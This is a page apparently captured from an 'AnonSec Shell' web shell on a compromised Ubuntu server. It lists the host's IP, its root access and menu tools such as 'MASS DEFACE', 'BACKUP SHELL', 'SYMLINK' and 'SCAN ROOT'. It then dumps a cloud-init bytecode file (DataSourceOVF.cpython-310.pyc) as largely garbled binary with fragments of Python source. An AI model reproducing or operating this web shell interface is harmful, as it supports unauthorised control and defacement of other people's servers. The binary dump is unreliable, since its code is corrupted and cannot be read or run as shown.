AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceOVF.cpython-310.pyc
o

x[hO3�@sdZddlZddlZddlZddlZddlmZddlZddlm	Z	m
Z
mZe�e
�ZGdd�de	j�ZGdd�de�Zd#d
d�Zdd
�Zdd�Zd$dd�Zdd�Zdd�Zdd�Zdd�Zdd�ZGdd�de�Zee	jffee	je	jfffZdd �Z d!d"�Z!dS)%zZCloud-Init DataSource for OVF

This module provides a cloud-init datasource for OVF data.
�N)�minidom)�sources�subp�utilc@sLeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	e
dd��ZdS)�
DataSourceOVF�OVFcCsFtj�||||�d|_tj�|jd�|_d|_i|_	d|_
d|_dS)N�ovf)�/zfile://)r�
DataSource�__init__�seed�os�path�join�seed_dir�environment�cfg�supported_seed_starts�_network_config��self�sys_cfg�distro�paths�r�A/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceOVF.pyr s
zDataSourceOVF.__init__cCstj�|�}d||jfS)Nz%s [seed=%s])rr
�__str__r)r�rootrrrr)szDataSourceOVF.__str__cCs�g}i}d}d}ddi}t|jj�\}}|r/tj�|jj|�}t|�\}}}	||_|�|�n7dt	fdt
fg}
d}|
D]\}}|�}|rFnq;|rft|d�\}}}	||_d|vra|dra|d|_|�|�|sjdSd	|vr�|d	r�|d	}
d}|jD]}|
�
|�r�|}nq{|s�t�d
|
|�dStj|
dd�\}}}}t�d|
�t�||g�}|�|
�t�||g�}d
�|�|_||_||_||_|	|_dS)N��instance-idz	iid-dsovfzcom.vmware.guestInfo�isoT�network-configF�seedfromz Seed from %s not supported by %s)�timeoutzUsing seeded cache data from %s�,)�get_ovf_envrrr
rr�read_ovf_environmentr�append�transport_vmware_guestinfo�transport_iso9660rr�
startswith�LOG�debugr�read_seeded�
mergemanydictr�metadata�userdata_raw�vendordata_rawr)r�found�md�ud�vd�defaults�seedfile�contentsrr�np�name�	transfuncr"�	seedfound�proto�md_seed�_rrr�	_get_data-sf���



�
zDataSourceOVF._get_datacCs
d|jS)Nzovf (%s))r�rrrr�_get_subplatformos
zDataSourceOVF._get_subplatformcCs,d|jvrgS|jd}t|t�r|S|gS)N�public-keys)r/�
isinstance�list)r�pksrrr�get_public_ssh_keysrs


z!DataSourceOVF.get_public_ssh_keyscC�|jS�N)rrArrr�get_config_obj~szDataSourceOVF.get_config_objcCrHrI)rrArrr�network_config�szDataSourceOVF.network_configN)�__name__�
__module__�__qualname__�dsnamerrr@rBrGrJ�propertyrKrrrrrs	Brc@seZdZdd�ZdS)�DataSourceOVFNetcCs,t�||||�tj�|jd�|_d|_dS)Nzovf-net)zhttp://zhttps://)rrr
rrrrrrrrr�s
zDataSourceOVFNet.__init__N)rLrMrNrrrrrrQ�srQFc	Cs�t|�}i}i}d}dg}gd�}dg}|��D]^\}	}
|	dkr"d}	|	|vr+|
||	<q|	|vr4|
||	<q|	|vr[|r[zt�|
���}t|��d�||	<WqtyZt�	d�Yqw|	dkrvz	t�|
���}Wqtyu|
��}Yqwq|||fS)	N�password)r"�local-hostnamerCrr!�hostnamerS�networkz%Ignore network-config in wrong formatz	user-data)
�get_properties�items�base64�	b64decode�encode�safeload_yaml_or_dict�get�	Exceptionr+r,)r8�read_network�propsr3rr4�	cfg_props�md_props�
network_props�prop�valrKrrrr&�s:

���
r&c	Csfd}|D],}tj�||�}tj�|�r0zt�|�}||fWSty/t�td|�YqwqdS)N)zovf-env.xmlzovf_env.xmlzOVF_ENV.XMLzOVF-ENV.XMLzFailed loading ovf file %s)NF)	r
rr�isfiler�load_text_filer]�logexcr+)�dirname�	env_names�fname�full_fnr8rrrr%�s
��r%cCs�|sdSt|t�std|��tj�|�}|�d�r!|�d�d}|�d�r.|�d�d}n	|�	d�dkr7dS|s;dSd}tj
�d|�}t�
|�}|�|�d	uS)
z�Test if devname matches known list of devices which may contain iso9660
       filesystems.

    Be helpful in accepting either knames (with no leading /dev/) or full path
    names, but do not allow paths outside of /dev/, like /dev/foo/bar/xxx.
    Fz Unexpected input for devname: %sz/dev/���r	rz^(sr[0-9]+|hd[a-z]|xvd.*)�CLOUD_INIT_CDROM_DEV_REGEXN)rD�str�
ValueErrorr
r�normpathr*�	partition�split�count�environr\�re�compile�match)�devname�
default_regex�
devname_regex�cdmatchrrr�maybe_cdrom_device�s"



r|Tc
	Cs�t��}|��D]&\}}|d}|dkr|rqt|�sq|d}t|�\}}|dur.|Sq|r4d}nd}dd�t�|rAd|nd�D�}	|	D]'}ztj|t|d�\}}Wntjyft�	d	|�YqHw|duro|SqHdS)
N�fstype�iso9660�
mountpointFcSsg|]}t|�r|�qSr)r|)�.0�devrrr�
<listcomp>�s��z%transport_iso9660.<locals>.<listcomp>zTYPE=%s)�mtypez%s not mountable as iso9660)
r�mountsrWr|r%�find_devs_with�mount_cb�MountFailedErrorr+r,)
�require_isor�r��infor}�mp�_fnamer8r��devsrrrr)�s:����r)cCs ||g}t�|�\}}|||fSrI�r��rpctool�arg�cmd�stdout�stderrrrr�exec_vmware_rpctool
s
r�cCs"|d|g}t�|�\}}|||fS)Nz--cmdr�r�rrr�
exec_vmtoolsds

r�c
CsTd\}}t�d�}t�d�}|r|t}}t�d|�|r*|s$|t}}t�d|�|s3t�d�dSdd�}z|||�WStjy�}z_|r_||kr_|jd	krXt�	td
|�WYd}~dS|smt�
d�WYd}~dSzt�
d�||t�WWYd}~Stjy�}z|jd	kr�t�	td
|�WYd}~nd}~wwWYd}~dSd}~ww)
N)NN�vmtoolsdzvmware-rpctoolzdiscovered vmware-rpctool: %szdiscovered vmtoolsd: %szno rpctool discoveredc
Ssrt�d|�z||d�\}}}|r|WSt�d|�WdStjy8}z|jdkr2t�d||j�|�d}~ww)Nzquery guestinfo.ovfEnv with %szinfo-get guestinfo.ovfEnvz!cmd %s exited 0 with empty stdout�z%s exited with code %d)r+r�r,r�ProcessExecutionError�	exit_code�warning)r��
rpctool_fnr�r�r?�errorrrr�query_guestinfo-s
��z3transport_vmware_guestinfo.<locals>.query_guestinfor�z+vmtoolsd failed to get guestinfo.ovfEnv: %sz$vmtoolsd fallback option not presentzfallback to vmtoolsd)r�whichr�r+r,r�r�r�rrgr�)r�r�r��vmware_rpctoolr�r�rrrr(sP






�


���
���r(cCs2g}|��s|S|jD]}||�r|�|�q|SrI)�
hasChildNodes�
childNodesr')�node�filter_func�ret�childrrr�
find_child]s

�r�c	Cs�t�|�}|jjdkrtd��|j��std��d}t|jdd��}|s(td��i}t|dd	d��}|D]}|j�|d
�j	}|j�|d�j	}|||<q5|S)N�EnvironmentzNo Environment NodezNo Child Nodesz)http://schemas.dmtf.org/ovf/environment/1cS�
|jdkS)N�PropertySection��	localName��nrrr�<lambda>t�
z get_properties.<locals>.<lambda>zNo 'PropertySection'srcSr�)N�Propertyr�r�rrrr�|r��key�value)
r�parseString�documentElementr��XmlErrorr�r��
attributes�getNamedItemNSr�)	r8�dom�envNsURI�propSectionsr_�	propElems�elemr�rdrrrrVgs(


��
rVc@seZdZdS)r�N)rLrMrNrrrrr��sr�cCst�|t�SrI)r�list_from_depends�datasources)�dependsrrr�get_datasource_list�sr�cCs|siSt�|�S)z�
    The meta data could be JSON or YAML. Since YAML is a strict superset of
    JSON, we will unmarshal the data as YAML. If data is None then a new
    dictionary is returned.
    )�yaml�	safe_load)�datarrrr[�s
r[)F)T)"�__doc__rX�loggingr
ru�xml.domrr��	cloudinitrrr�	getLoggerrLr+r
rrQr&r%r|r)r�r�r(r�rVr]r��DEP_FILESYSTEM�DEP_NETWORKr�r�r[rrrr�<module>s4

i
	
)&G
 
�

Anon7 - 2022
AnonSec Team